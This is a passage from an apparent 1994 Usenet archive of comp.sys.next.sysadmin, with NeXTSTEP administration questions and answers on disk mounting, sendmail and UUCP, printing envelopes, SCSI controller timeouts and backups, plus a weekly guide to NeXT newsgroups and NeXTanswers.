pcnfsd_misc.c:553: invalid use of undefined type `struct sigaction'
pcnfsd_misc.c: At top level:
pcnfsd_misc.c:527: storage size of static var `old_action' isn't known
pcnfsd_misc.c:528: storage size of static var `new_action' isn't known
I'm not an expert in these things so if the answer isn't too difficult,
I'll give it a try.
Please reply by email or post if you think this is of general interest.
--
Mark T. Dornfeld, CYANTIC Systems Voice: (416) 234-9048
101 Subway Crescent Suite 2103 Facsimile: (416) 234-0477
Etobicoke, Ontario, M9B 6K4 CANADA Email: mark@cyantic.com
From: dcheslow@impact.flint.umich.edu (David A. Cheslow)
Newsgroups: comp.sys.next.sysadmin
Subject: mounting hard disk at boot time
Date: 13 Feb 1994 20:18:47 GMT
Organization: University of Michigan
Distribution: world
Message-ID: <2jm1v7$991@lastactionhero.rs.itd.umich.edu>
I have 2 hard drives, one is my boot drive and is mounted when the machine
(68040 NS v3.1p1) is turned on. The other is where I keep most of my
applications and (for some reason) it is not mounted until i run WorkSpace
(in other words it is not mounted unless I am logged in). We are trying
to set up a gopher server on the computer and really don't want me to have
to be logged in all the time.
I followed the directions in the NeXT Admin Manual and added a line into
fstab.
/dev/sd1a /NeXT250 4.3 rw,noquota,noauto 1 2
I also tried
/dev/sd1a /NeXT250 4.3 rw,noquota,noauto 0 2
I then performwed a warmboot and everything seemed to work fine. I then
performed a coldboot and several (bad) things happened:
1) I could not sync the system, each time I would reboot, the system would
fsck the boot drive (zzzzz).
2) Could not execute 'tcp'.... it reported 'network_init tcp:panic'
during bootup
3) I could never get the login prompt. After stepping through the boot
process, the screen would simply clear and then sit there.
There are some other peculiarities about this disk... it has no
recycler... and I can't find where the manuals say how to create one.
After going through all this I can no longer sync the machine for a
graceful shutdown.... I used to be able to.
--
===============================================================
The opinions expressed in this message are my own.
The University of Michigan - Flint may not share my opinions.
David A. Cheslow dcheslow@umich.edu
School of Management, 344 CROB Phone: (810) 762-3309
University of Michigan - Flint Fax: (810) 762-3282
From: jmack@skye.phys.ualberta.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re: WANTED:Un*x/NeXT program for unpacking Macintosh archives.
Date: 13 Feb 1994 21:37:17 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2jm6id$fsh@quartz.ucs.ualberta.ca>
References: <2jk63g$qn5@garuda.csulb.edu>
In article <2jk63g$qn5@garuda.csulb.edu> vamp@gothic.acs.csulb.edu (VampLestat)
writes:
> And Thor Legvold<edmtl@alf.uib.no> spake unto the masses:
> >I have downloaded some fonts I'd like to use on my NeXT, but have
> >been unsuccesful in finding Unix code to unpack these archives.
.
> The fonts are probably Macintosh fonts, and so they have been compresses
> with Compact Pro, which gived the .cpt extension.
..
The new demo version of Executor1.3b has this utility (quite handy), and as
long as the uncompress takes less than 10 minutes (demo limit) you should be
ok.
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
From: jmack@skye.phys.ualberta.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re: WANTED:Un*x/NeXT program for unpacking Macintosh archives.
Date: 13 Feb 1994 21:37:32 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2jm6is$a4j@quartz.ucs.ualberta.ca>
References: <2jk63g$qn5@garuda.csulb.edu>
In article <2jk63g$qn5@garuda.csulb.edu> vamp@gothic.acs.csulb.edu (VampLestat)
writes:
> And Thor Legvold<edmtl@alf.uib.no> spake unto the masses:
> >I have downloaded some fonts I'd like to use on my NeXT, but have
> >been unsuccesful in finding Unix code to unpack these archives.
.
> The fonts are probably Macintosh fonts, and so they have been compresses
> with Compact Pro, which gived the .cpt extension.
..
The new demo version of Executor1.3b has this utility (quite handy), and as
long as the uncompress takes less than 10 minutes (demo limit) you should be
ok.
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
From: jmack@skye.phys.ualberta.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re: WANTED:Un*x/NeXT program for unpacking Macintosh archives.
Date: 13 Feb 1994 21:37:45 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2jm6j9$a4k@quartz.ucs.ualberta.ca>
References: <2jk63g$qn5@garuda.csulb.edu>
In article <2jk63g$qn5@garuda.csulb.edu> vamp@gothic.acs.csulb.edu (VampLestat)
writes:
> And Thor Legvold<edmtl@alf.uib.no> spake unto the masses:
> >I have downloaded some fonts I'd like to use on my NeXT, but have
> >been unsuccesful in finding Unix code to unpack these archives.
.
> The fonts are probably Macintosh fonts, and so they have been compresses
> with Compact Pro, which gived the .cpt extension.
..
The new demo version of Executor1.3b has this utility (quite handy), and as
long as the uncompress takes less than 10 minutes (demo limit) you should be
ok.
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
From: jmack@skye.phys.ualberta.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re: WANTED:Un*x/NeXT program for unpacking Macintosh archives.
Date: 13 Feb 1994 21:40:00 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2jm6ng$hco@quartz.ucs.ualberta.ca>
References: <2jk63g$qn5@garuda.csulb.edu>
In article <2jk63g$qn5@garuda.csulb.edu> vamp@gothic.acs.csulb.edu (VampLestat)
writes:
> And Thor Legvold<edmtl@alf.uib.no> spake unto the masses:
> >I have downloaded some fonts I'd like to use on my NeXT, but have
> >been unsuccesful in finding Unix code to unpack these archives.
.
> The fonts are probably Macintosh fonts, and so they have been compresses
> with Compact Pro, which gived the .cpt extension.
..
The new demo version of Executor1.3b has this utility (quite handy), and as
long as the uncompress takes less than 10 minutes (demo limit) you should be
ok.
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
From: jmack@skye.phys.ualberta.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re: WANTED:Un*x/NeXT program for unpacking Macintosh archives.
Date: 13 Feb 1994 21:46:00 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2jm72o$a68@quartz.ucs.ualberta.ca>
References: <2jk63g$qn5@garuda.csulb.edu>
In article <2jk63g$qn5@garuda.csulb.edu> vamp@gothic.acs.csulb.edu (VampLestat)
writes:
> And Thor Legvold<edmtl@alf.uib.no> spake unto the masses:
> >I have downloaded some fonts I'd like to use on my NeXT, but have
> >been unsuccesful in finding Unix code to unpack these archives.
.
> The fonts are probably Macintosh fonts, and so they have been compresses
> with Compact Pro, which gived the .cpt extension.
..
The new demo version of Executor1.3b has this utility (quite handy), and as
long as the uncompress takes less than 10 minutes (demo limit) you should be
ok.
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
From: gerti@tms-gmbh.de (Gerd Knops)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ZMODEM
Date: 13 Feb 1994 16:11:41 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9402111404.AA00742@Cranach.tms-gmbh.de>
arneha@ifi.uio.no (Arne Christian Herseth) writes:
>
> I have uploaded ZMODEM from cs.ors.edu.
> The binaries obviously were for Next not PCs.
> When I try make next I get compilererrors in rbsb.c
>
ftp to arcadia.informatik.uni-muenchen.de
in /pub/next/Unix/communication you can find the following files:
-rw-r--r-- 1 wastl 102031 Mar 6 1992 rzsz.0525.N.bs.tar.gz
-rw-r--r-- 1 cbaur 218838 Oct 22 06:20 rzsz.0525.NI.bs.tar.gz
-rw-r--r-- 1 cbaur 690 Oct 22 06:20 rzsz.0525.README
-rw-r--r-- 1 stabl 58712 Mar 6 1992 rzsz.0525.s.tar.gz
They work/compile on NS3.1/3.2.
gerti
+------------------------------------------------------------------+
Gerd Knops gerti@tms-gmbh.de
As I experience certain sensory input patterns, my mental pathways
become accustomed to them. The inputs are eventually anticipated and
even missed when absent. Lt.Cdr. Data
+------------------------------------------------------------------+
Newsgroups: comp.sys.next.sysadmin
From: wgilbert@fatou.UWaterloo.ca (Will Gilbert)
Subject: Users cannot use WriteNow after upgrade
Message-ID: <CL6tI2.HH7@watserv1.uwaterloo.ca>
Originator: wgilbert@fatou.uwaterloo.ca
Sender: news@watserv1.uwaterloo.ca
Organization: Pure Math Dept, University of Waterloo, Canada
Date: Mon, 14 Feb 1994 00:03:37 GMT
After I replaced my diskdrive in my NeXTstation and upgraded to
3.2, I found that some users could not use WriteNow. There does
not seem to be any problem running other programs. The same problem
happens if I add a new user. However root and myself in the group
wheel can use WriteNow. All the executable files in WriteNow.app
are executable by all.
When these users try to use WriteNow an alert panel comes up saying
"File system error. You do not have permission for that operation."
and after pressing return, the Console says "WriteNow: An uncaught
exception was raised".
I can get around the problem by setting WriteNow suid root with
permissions -rwsr-sr-x. However I must have something else wrong.
Any ideas on what is it?
Will Gilbert <wgilbert@fatou.UWaterloo.ca>
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Reconfigure signals for various processes on NS 3.x ?
Date: 14 Feb 1994 01:45:28 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2jml3o$9hu@agate.berkeley.edu>
Keywords: kill -HUP
Could anyone supply a list of server processes that support
"reconfiguration without termination-restarting" ?
E.g., 'inetd' will reread the configration file inetd.conf if
it is given "kill -HUP <pid>". "init" also works similarly.
I would like to know what servers support reconfigurations on NS
3.x, and what is the signal to do it for each.
In particular, I want to know this for nmserver, syslogd, sendmail
etc.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin
From: sr@rdbois.fdn.org (serge_ruby)
Subject: Re: WANTED: Sendmail guru
Message-ID: <1994Feb11.074052.11084@rdbois.uucp>
Sender: sr@rdbois.uucp (serge_ruby)
Organization: S.RUBY
References: <CKKp2F.GBx@news.cis.umn.edu>
Date: Fri, 11 Feb 1994 07:40:52 GMT
In article <CKKp2F.GBx@news.cis.umn.edu> jimbo@oingo.umn.edu writes:
> I am connected to the net via SLIP at the UofM. I can receive mail via
> PopOver from my account at the U and I can sendmail to anyone on any
> machine at the U from the NeXTMail app.
> What I cannot do is send mail to anyone outside the U from my NeXT!
> I must telnet to the U and use ELM to send outside the U.
>
I have had something very similar happening on my NeXT. The reason was that I
had several hosts declared in /etc/uucp/L.sys, One of them was correctly
described as the UUCP relay host in sendmail.cf but I called an other regularly
by cron. As this other was on the same U (if I understand rightly what you call
U) my mail was sent only to the people on the same U. I figured it out one day
by accident by connecting manually (uucp RightHost ...) to transfer a file and
my old mail from several months was sent! Then I could manually send any mail
simply by typing uupoll RightHost, looked into my crontab and found only an
entry uupoll WrongHostOnTheSameU , I changed this entry to be uupoll RightHost
and now it works. All the configuration files (sendmail.cg etc were right and
therefore no UUCP guru found the solution to my problem before I did by
accident. You can check if you have a similar problem by looking what is in
your UUCP spool, ready to be sent using a UUCP command called uuq (use the -l
flag and possibly others, see man or librarian).
I hope this help and I won the box of whatever!
Serge
Newsgroups: comp.sys.next.sysadmin
From: sr@rdbois.fdn.org (serge_ruby)
Subject: Re: WANTED: Sendmail guru
Message-ID: <1994Feb11.082744.11211@rdbois.uucp>
Sender: sr@rdbois.uucp (serge_ruby)
Organization: S.RUBY
References: <1994Feb11.074052.11084@rdbois.uucp>
Date: Fri, 11 Feb 1994 08:27:44 GMT
In article <1994Feb11.074052.11084@rdbois.uucp> sr@rdbois.fdn.org (serge_ruby)
writes:
> You can check if you have a similar problem by looking what is in
> your UUCP spool, ready to be sent using a UUCP command called uuq (use the -l
> flag and possibly others, see man or librarian).
a misplaced coma makes the sense of the sentence wrong. The correct sentence
is:
You can check if you have a similar problem by looking what is in your UUCP
spool ready to be sent, using a UUCP command called uuq (use the -l flag and
possibly others, see man or librarian).
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.misc
From: sr@rdbois.fdn.org (serge_ruby)
Subject: Re: Problems printing envelopes with NeXT printer.
Message-ID: <1994Feb11.090824.11338@rdbois.uucp>
Sender: sr@rdbois.uucp (serge_ruby)
Organization: S.RUBY
References: <BOOLB5WD@gwdu03.gwdg.de>
Date: Fri, 11 Feb 1994 09:08:24 GMT
In article <BOOLB5WD@gwdu03.gwdg.de> trebels@orpheus.theo-phys.gwdg.de (Stephan
Trebels) writes:
> Thor Legvold (edmtl@alf.uib.no) wrote:
> > I just bought a NeXT printer (thanks Sam!), and am trying it out today.
> > I cannot seem to get envelopes to print. I am using standard A4
> > business envelopes (measure 22cm by 11cm). Yes, I've read the manual.
> > And the FAQ. And NeXT Answers.
>
> > I've tried setting paper size to both LTR and A4 without any luck.
> > I have (so far) tried manual feed -
Are you sure to feed the enveloppe in the right way? I must be fed as
'landscape' (ie with its long side paralel to the direction of moving) to
ensure it is long enough to go from a tracting roll to the next one (11cm is
not enough, 22 cm is enough).
Second I think you are getting confused by the international paper sizes:
standard A4 does *not* measure 22cm by 11cm, it does 21cm by 29.7cm.
22cm by 11cm enveloppes are the correct ones to send A4 paper folded in 3, but
they are not A4 themselves. Therefore you must set the paper size manually to
11cm by 22cm (*not* 22cm by 11cm) and choose landscape orientation.
By the way let me remind you the origin and interest of A4 standard to help you
finding your way into other A standard format:
A0 is one square meter in surface with a lenght/width ratio of square root of
2. This ensure to keep the same lenght/width ratio when you cut it into two.
Therefore A0 is 118.92cm by 84.09cm.
A1 is A0 cut into 2. Therefore 84.09cm by 59.46cm with a weight per sheet equal
to exactly half of the weight of a A0 sheet, wich is the major interest of this
standard, as the "strenght of a given paper is given in g per square meter (80g
/ m2 for normal printer paper) then 40g for A1 and common 80g / m2 paper.
A2 is A1 cut into 2. Therefore 59.46cm by 42.04cm and 20g for common 80g / m2
paper.
A3 is A2 cut into 2. Therefore 42.04cm by 29.73cm and 10g for 80g / m2 paper.
A4 is A3 cut into 2. Therefore 29.73cm by 21.02cm and 5g for 80g / m2 paper.
This is very useful to estimate the weight of a letter to determine what price
of stamp to put on it: a letter of 3 pages (3 sheets) weights precisely 3 * 5g
= 15g for common paper (this is much more precise than any domestic weighing
scale) plus the weight of the enveloppe, which is approximatively the same than
a sheet of paper ie 5g. Then 3 sheets + enveloppe = 20g.
A5 is A4 cut into 2. Therefore 21.02cm by 14.87cm and 2.5g for 80g / m2 paper.
There is also a Bn standard format which I wonder what it is, Perhaps it is the
format of envelopes to put An format in? Does any body know about it?
Hope that this can be of interest to you.
Serge
Newsgroups: comp.sys.next.sysadmin
From: sr@rdbois.fdn.org (serge_ruby)
Subject: Re: Problems printing envelopes with NeXT printer.
Message-ID: <1994Feb11.091235.11397@rdbois.uucp>
Sender: sr@rdbois.uucp (serge_ruby)
Organization: S.RUBY
References: <1994Feb11.090824.11338@rdbois.uucp>
Date: Fri, 11 Feb 1994 09:12:35 GMT
In article <1994Feb11.090824.11338@rdbois.uucp> sr@rdbois.fdn.org (serge_ruby)
writes:
> In article <BOOLB5WD@gwdu03.gwdg.de> trebels@orpheus.theo-phys.gwdg.de
(Stephan
> Trebels) writes:
> > Thor Legvold (edmtl@alf.uib.no) wrote:
> > > I just bought a NeXT printer (thanks Sam!), and am trying it out today.
> > > I cannot seem to get envelopes to print. I am using standard A4
> > > business envelopes (measure 22cm by 11cm). Yes, I've read the manual.
> > > And the FAQ. And NeXT Answers.
> >
> > > I've tried setting paper size to both LTR and A4 without any luck.
> > > I have (so far) tried manual feed -
>
> Are you sure to feed the enveloppe in the right way? I must be fed as
> 'landscape' (ie with its long side paralel to the direction of moving) to
> ensure it is long enough to go from a tracting roll to the next one (11cm is
> not enough, 22 cm is enough).
>
An other trick to print on envelopes is to put the sticking rabat inside
themselves, so it does not get caught by anything.
Serge
Newsgroups: comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: Re: AHA Timeout repeats during install
Message-ID: <westesCL7I5s.EvG@netcom.com>
Organization: Mail Group
References: <westesCL5Axr.KoD@netcom.com>
Date: Mon, 14 Feb 1994 08:56:16 GMT
Will Estes (westes@netcom.com) wrote:
: I have a BusLogic 747S controller that I am using to install NeXSTEP
: Intel 3.2. I'm mounting the Toshiba CD-ROM off of Target 6:0 on the
: SCSI chain.
: When I boot from the install disk, it lotads the Adaptec driver, and
: after finding the unformatted hard drive on Target 0:0 without any
: problem, it tries to make the CD-ROM sd1. I get the following
: sequence:
: AHA Timeout
: Resetting SCSI Bus...
: AHA Timeout
: Resetting SCSI Bus...
: AHA Timeout
: Resetting SCSI Bus...
: AHA Timeout
: Resetting SCSI Bus...
: AHA Timeout
: Resetting SCSI Bus...
: sd1: Disk Unformatted
: ...
: root on sd1
: rootdev 608, howto 0
: kernel panic....
It turns out this was caused by configuring my BusLogic 747S to run
at 10 Meg/second synchronous. My CD-ROM could not handle that
setting and it caused a kernel panic on the install.
I worked around it by setting the max speed for the card to be 5
megs per second. But this is really lame, because to make the
CD-ROM work I have to now cripple the hard disk's maximum
throughput. Unlike the Adaptec 1742, which lets you configure the
maximum synch speeds on a per-device basis, BusLogic does it for the
whole controller.
Is there any way to work around this? How much slower will the
BusLogic be at 5-versus-10 megs in terms of overall system
throughput?
--
Will Estes Internet: westes@netcom.com
Newsgroups: comp.sys.next.sysadmin
From: sr@rdbois.fdn.org (serge_ruby)
Subject: tar / gnutar ?
Message-ID: <1994Feb12.205106.13129@rdbois.uucp>
Sender: sr@rdbois.uucp (serge_ruby)
Organization: S.RUBY
Date: Sat, 12 Feb 1994 20:51:06 GMT
I know tar as is is widely available on Unix systems. You all mention gnutar
quite often in the articles.
I guess it is the version of tar by GNU but I don't seem to have it on my NeXT
(NS 2.1). My questio is:
Is gnutar any better than the tar delivered with the NeXT?
If yes in what aspect?
Is the syntax exactly the same?
Should I go for it?
Thanks in advance
Serge
From: "Scott A. McIntyre" <S.A.McIntyre@durham.ac.uk>
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT front end to dump/restore?
Date: 14 Feb 1994 12:00:43 GMT
Organization: I speak for myself
Distribution: world
Message-ID: <S.A.MCINTYRE.94Feb14120044@shrug.dur.ac.uk>
Is there a NeXT front end to dump/restore? I use SafetyNet for doing
backups and find it the best thing since sliced bread, but occasionally
I like doing a dump just in case whatever damage occurs is so fatal that
I can't even get SafetyNet running to restore from...touch wood it never
happens...
I'm looking for the front end more for the dump; I use DAT and know
that there are some strange numbers you need to give dump to get it to
work right on a DAT drive...
Thanks,
scott
--
EMAIL: scott@shrug.org (NeXTmail accepted) OR S.A.McIntyre@durham.ac.uk
SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE
"A wasted youth is better by far than a wise and productive old age"
"In another novel, I *am* you"
From: michael@cogito.iaee.tuwien.ac.at (Suessner Michael)
Newsgroups: comp.sys.next.sysadmin
Subject: Netware Shutdown!
Date: 14 Feb 1994 15:03:42 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2jo3se$2qg@email.tuwien.ac.at>
What can I do, if the Novell Server is shutdown and the Workspace doesn't
stop spinning the wheel?
Is there a possibility to establish a time out as it is possible for NFS?
How can I logout without using Workspace Manager?
Thanks
Suessner Michael
From: hussain@artsci.wustl.edu (G. H. Chinoy)
Newsgroups: comp.sys.next.sysadmin
Subject: X command 'resize': NeXT equivalent?
Date: 14 Feb 1994 18:30:59 GMT
Organization: Washington University, St. Louis, MO
Message-ID: <2jog13$jg9@bigfoot.wustl.edu>
One of the Math Department's Graduate students is setting up his Irix
workstation and I'm linking it up with our other NeXT machines.
Question: Is there a NeXT equivalent for the 'resize' command in X/IRIX,
or whatever.
Please email responses. Thanks
--
________________________________
G. Hussain Chinoy
hussain@artsci.wustl.edu
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 14 Feb 1994 14:45:33 -0500
Organization: Next Announcements
Message-ID: <2jokct$gqf@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
Comp.Sys.Next.Marketplace
NeXT stuff for sale/wanted. Material posted here must
not be crossposted to any other c.s.n.* newsgroup, but
may be crossposted to misc.forsale.computers.workstation
or appropriate regional newsgroups.
Comp.Sys.Next.Misc
For stuff that doesn't fit anywhere else. Anything you
post here by definition doesn't belong anywhere else in
c.s.n.*--i.e. no crossposting!!!
Comp.Sys.Next.Programmer
Questions and discussions of interest to NEXTSTEP
programmers. This is primarily a forum for advanced
technical material.
The NEXTSTEP programmer FAQs are posted here.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
Comp.Sys.Next.Software
This is a place to talk about [third party] software
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Stuff relating to NeXT system administration issues;
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related Newsgroups
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Comp.Soft-Sys.Nextstep
Like comp.sys.next.software and comp.sys.next.misc combined. Exists
because NeXT is a software-only company now, and comp.soft-sys is
for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
(The original Comp.Sys.Next no longer exists--do not attempt to
post to it.)
Exception to the crossposting restrictions: announcements of
usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
-------------------------------------------
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
next-announce-d
next-bugs-d
next-hardware-d
next-marketplace-d
next-misc-d
next-programmer-d
next-software-d
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(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
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cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO <your-address>
If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to NeXTanswers-request@NeXT.com.
Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: bob@stirling.egr.duke.edu (Robert R Reynolds)
Newsgroups: comp.sys.next.sysadmin
Subject: "Lip Service" no longer works.
Date: 14 Feb 1994 20:06:22 GMT
Organization: Duke University; Durham, N.C., USA
Message-ID: <2jolju$9o6@news.duke.edu>
Keywords: Nextstep 3.2, mail, sound
I cannot get the "Lip Service" feature of NextMail
to record a message. The lip service panel appears
and the buttons light up when clicked upon but no
sound is recorded. I can find no reference to such
a problem in the documentation.
I'm using black hardware (B&W slab) and this is the
first time I have used this feature since I upgraded
to NS 3.2 (I doubt that I've used it since NS 3.0).
All else seems fine so this may not be related to
the upgrade.
If you know of a reason for this problem I would
appreciate you dropping me a line -- I'm stumped.
Bob
bob@stirling.egr.duke.edu
Newsgroups: comp.sys.next.sysadmin
From: ace@acelab.ruhr.de (Andreas Fatum)
Subject: Re: AHA Timeout repeats during install
References: <westesCL5Axr.KoD@netcom.com> <westesCL7I5s.EvG@netcom.com>
Organization: acelab - an internet bbs - +49-2368-56585
Date: Mon, 14 Feb 1994 20:03:38 GMT
Message-ID: <1994Feb14.200338.14482@acelab.ruhr.de>
Will Estes (westes@netcom.com) wrote:
: Unlike the Adaptec 1742, which lets you configure the
: maximum synch speeds on a per-device basis
That's right, hence you can only configure the AHA1742 on a per-device
basis if it is run in enhanced mode (and not standard = 1542 mode).
The bad thing is, I have heard that the 1742 is _not_ supported running
in enhanced mode. Is this really true??? Do you really have to run this
fine hostadapter in 1542-standard mode only? :-((
Andreas
--
Andreas Fatum ace@acelab.ruhr.de (Internet)
postmaster@re.open.de (City-Router)
Student of CS, ace@acelab.ruhr.sub.org (SubNet)
University of Dortmund ..!uunet!germany.EU.net!acelab!ace (UUCP/Bang!)
Newsgroups: comp.sys.next.sysadmin
Subject: Hard Disk comments
Message-ID: <1994Feb14.130704.8568@nic.csu.net>
From: vqueved@nssnext.calstatela.edu (Victor Quevedo)
Date: 14 Feb 94 13:07:02 PST
I am thinking of getting another Large 1.2 GB or > SCSI Hard disk for my
black hardware.
I am looking at:
Fujitsu 2.4 GB M2654
Seagate 3.4 GB ST43400N
Micropolis 3.6 GB M1939
All three have 5yr.warranties. I have used the the Fujitsu before and it
works ok. But the Micropolis is larger and has about the same $/GB as the
Fujitsu drive. Has anyone using/used the Micropolis 3.6 Drive?
-Victor Quevedo
vqueved@nssnext.calstatela.edu
NeXTMail welcome
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: "Lip Service" no longer works.
